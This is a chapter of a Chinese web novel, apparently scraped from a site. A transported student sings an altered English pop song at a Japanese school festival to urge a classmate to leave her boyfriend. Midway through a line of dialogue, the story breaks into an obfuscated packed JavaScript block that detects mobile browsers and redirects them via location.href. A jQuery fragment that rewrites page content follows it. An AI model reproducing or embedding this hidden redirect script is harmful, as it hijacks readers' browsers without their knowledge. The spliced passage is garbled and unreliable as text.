10. Hey hey you
作品:《穿越成为Q Q人》 新生欢迎联合表演会,正如火如荼地开展。
学生会忙得不可开交,昨晚藤原凛跟林新月一起睡在宿舍里。
今早林新月起床就没看见藤原凛,直到开始表演节目了还没见着人。
“風花さん、どうしたんですか?(风花同学,你怎么了?)”
林新月回到划定的班级座位,发现风花阳菜的脚踝缠了绷带。
风花阳菜动了动脚,“大丈夫です。昨日のリハーサルで、ちょっと足を挫いちゃって。(没什么事,昨天排练的时候不小心扭了下。)”
林新月在风花阳菜身边坐下,周围的同学基本都已经落座,主持人开始报幕。
“それじゃあ…風花さん、劇…の出演は、できなくなっちゃうんですか?(那风花同学,你们的话剧表演不就不能参加了吗?)”
“ええ…(嗯。)”风花阳菜笑了笑,“でも、大丈夫です。私の役は、あまり重要じゃなかったから。代役が決まりました。(没事的,我的角色不怎么重要,临时换人了。)”
“哦……”
林新月刚想开口,风花阳菜就已经转移话题,“あ…林さん、始まりますよ。(节目开始了,林同学。)”
灯光暗下来,林新月看不清风花阳菜的表情,但她已经开始看表演了。
林新月也转头看向前方。
楼思渺已经能够自如地飘在空中,现在正侧躺在林新月头上。
歌舞什么的林新月都能看看,但是表演话剧、朗诵之类的,虽然有楼思渺翻译,但林新月还是不太能理解。
还有几个节目就到林新月了,林新月去后台准备。
“班長、ちょっとお話があるんですが…いかがでしょうか?(班长,我有件事想跟你说……你觉得怎么样?)”
班长推了推眼镜,说:“ん?いいと思うよ。安心して行って来いよ、林さん。(嗯?我觉得可以啊,放心去吧林同学。)”
林新月站在后台,紧急求助楼思渺。
“思渺思渺,‘这首歌是送给一个朋友的,希望她能迈向新的人生舞台’怎么说?”
楼思渺:“この歌は、ある友達へ贈るものです。彼女が、新たな人生のステージへと踏み出せますように。”
翻译完,林新月不断重复,巩固记忆。
“祝你演出顺利。”
林新月深呼吸,“我尽量!”
轮到林新月上台。
“続きましては、高校二年二組による発表—(接下来,是高二二班带来的表演——)”
林新月站上舞台,聚光灯打在她的身上。
台下密密麻麻的Q版人头,花花绿绿的发色,还真是——没什么紧张感呢。
“この歌は、ある友達へ贈るものです。彼女が、新たな人生のステージへと踏み出せますように。”
“Heyheyyouyou
Idon''tlikeyourboyfriend
Nowaynoway
Ithinkyouneedanewone
Heyheyyouyou
Icouldbeyournewfriend*”
“あれ?歌詞、間違えてる?(唱错歌词了吗?)”
“違うんじゃない?アレンジなんじゃね?(是改编吧?)”
“Heyheyyouyou
Iknowwhathe''slike,see
Nowaynoway
No,it''snotasecret
Heyheyyouyou
Youneedarealgoodfriend”
藤原凛正站在舞台边休息,听到歌词转头看向自己的班级。
“You''resokind
Don''twasteyourmind
You''resomuchstronger
Ithinkaboutwithoutthatliar
You''llshinebrighter
Don''tyouknow
Whatwecando
Tomakeyoufeelalright”
坐在原地的某人可能也意识到了什么。
“Don''tpretend
Deepdownyouknow
Youdeservethebest
Hellyeah
You''retheprincess,ettherest
Icantellhe''snogoodforyou
AndyouknowI''mright”
楼思渺近距离飘着观赏林新月唱歌,虽然她听过很多遍。
“He''slike,sowhatever
Youdeservesomuchbetter
Ithinkit''stimetobreakupnow
C''mon,that''swhateveryone''ssayingnow
Heyheyyouyou
……”
有一些观众可能意识到了什么,在交头接耳。
结合最近发生的事情,已经有人在找故事里的另一个主角。
“……
Causehe''slike,sowhatever
Youdeservesomuchbetter
Ithinkit''stimetobreakupnow
Yeah,that''swhateveryone''ssayingnow
Heyheyyouyou
……”
坐在座位上的某紫发男,接受了来自大家明里暗里的视线,脸色不太好看。
“……
Inasecond,you''llseerightthroughhislies
''Causeyoucan,causeyoucanbesomuchbetter
Together,girl!Sowhen''sitgonnasinkin
He''ssouseless,whatthehellwereyouthinking
Inasecond,you''llleavehiminthedust
''Causeyouwill,''causeyouwillshinewithouthim
It''sallover,nowit''stimetosinkin
You''resobrilliant,that''swhatweallbelievein
Heyheyyouyou
……”
舞台上只有林新月一个人,穿着校服。
舞台下,不止一个人。
“……
Heyheyyouyou
Wedon''tlikeyourboyfriend
Nowaynoway
Wethinkyouneedanewone
Heyheyyouyou
Wecouldbeyournewfriend
(Nowaynoway)
Heyheyyouyou
Weknowwhathe''slike,see
Nowaynoway
No,it''snotasecret
Heyheyyouyou
Youneedarealgoodfriend
Heyhey!”
林新月心跳嘭嘭嘭地从舞台上下来。
「激动!」
风花阳菜坐在原位,藤原凛在人群中找到她,看见她身边有座位就凑过去坐下。
风花阳菜注意到了,“藤原さん。(藤原同学。)”
“風花さん、Ithinkit''stimetobreakup,too.(风花同学,我也认为是时候分手了。)”
“……”风花阳菜沉默了一会儿,说:“うん…(嗯……)”
“風花さん。(风花同学。)”
“風花さん(风花同学。)”
有几个同班同学跟风花阳菜搭话。
“風花さん、私たちも、あなたがあの彼氏から離れてくれたらいいなって思ってるんだ。(风花同学,我们也希望你可以摆脱你的那个男朋友。)”
“そうそう!風花さんのこと、みんな良い子だって知ってるよ。(对啊对啊,我们都知道你很好。)”
“でも彼氏の方はちょっと……ね。(但是你那个男朋友就……是吧。)”
“うん。やっぱり、風花さんにはも
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068573|195180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
っと楽しになってほしいな。(嗯嗯,我们还是希望你能过得开心一点。)”
“みんな…(大家……)”风花阳菜眼里闪着泪光,“ありがとう。必ず、そうします。(谢谢大家,我会的。)”
大家叽叽喳喳围在风花阳菜身边吐槽她的男朋友。
藤原凛摸了摸风花阳菜的头,风花阳菜低着头默默地擦眼泪。
林新月在下一个节目开始的时候就回到班级了。
有同学小声的说:“林さん、歌、とっても良かったよ!(林同学,唱得很好!)”
“本当に素敵な歌声でした、林さん。(唱得很好听呢,林同学。)”
“あ……ありがとう。(啊,谢谢。)”林新月被夸还有点不好意思。
林新月来到风花阳菜身边,发现藤原凛坐在那里,于是坐在了另一边。
“藤原さん忙完了吗?”
藤原凛小声回答:“我就坐一会儿,待会儿还要去忙。”
“哦哦。”
“風花さん…(风花同学……)”
风花阳菜轻轻抽泣一声,“林さん…(林同学……)”
她抹抹眼泪,抬起头,笑着说:“歌、本当にきれいでした……私、すごく好きです。ありがとう。(唱得很好听哦,我很喜欢。谢谢你。)”
林新月轻轻笑了一下:“気に入ってもらえて、よかった。(你喜欢就好。)”
表演持续了一整天,每个表演的个人和团体都有收到安慰奖。
主持人宣布结束退场后,大家都陆陆续续离开了。
林新月跟风花阳菜一起离开礼堂,刚走出礼堂大门就被藤原凛拦截了。
“林さん、風花さん、こっちこっちー。(林同学、风花同学,这边这边。)”
“怎么了藤原さん?”
“嘿嘿,有一件好事。”
“嗯?”
“ね、ちょっといいことあるんだから。(跟我来,有一件好事哦。)”
藤原凛掉头带路,林新月和风花阳菜对视一眼跟了上去。
三人没有走太远,在一个搭的棚子下面,有几个学生会成员,高桥龙也也在,还有那个紫毛男。
风花阳菜的脚步迟疑了一下,林新月扶了她一下。
三个人走进棚子。
“会長!連れてきたよ!(会长!我们来了。)”
高桥龙也点点头,对风花阳菜说:“風花さん。保本和成が、君に話があると言っている。(风花同学,保本和成同学有话要对你说。)”
说完瞥了一眼紫发男。
紫发男一副敢怒不敢言的样子,“風花…さん。今までのこと…悪かった。…すまなかった。(风花……同学,以前的事,我很抱歉。对不起。)”
风花阳菜站在林新月身后,不知道说什么。
“済んだ。行け。あの件、忘れるな。(行了,走吧。不过,那件事别忘了。)”
紫发男丢下一句“うん(嗯)”就逃也似的离开了。
“什么事啊?藤原さん。”
“明天就知道啦。”
藤原凛提醒到,“明日、掲示板見るの忘れないでね!(明天你们记得去公布栏看哦。)”
林新月和风花阳菜有点不明所以。
“我们还有一些收尾工作要做,練尾、風花さんを送ってやってくれ。(练尾同学,麻烦你陪同风花同学一起回去吧。)”
“了解です、会長。(知道了,会长。)”练尾纪子转头就对风花阳菜说,“風花さん、一緒に帰りましょう。(走吧风花同学,我们一起回去。)”
林新月对风花阳菜说了句“バイバイ(拜拜)”,然后看着她们两个离开。
“林さん,今晚你自己吃晚饭吧,我还要忙一会儿呢。”
“嗯,好。”
说完,藤原凛就跟着其他学生会成员离开了。
“会长呢?不用去忙吗?”
“我留下来是想跟你说,这周六就出发,所以你明天得收拾行李了。”
“哦,好的。”
“嗯,加上往返的时间,可能会要五天。”
“好的,我知道了。”
“那我就走了,你回去吧。”
林新月叫住高桥龙也,“等一下,会长。”
“有什么事?”
“我想问一下,这次都有谁去啊?”
“有我、藤原凛和李沐风。”
“哦哦,那好。会长拜拜。”

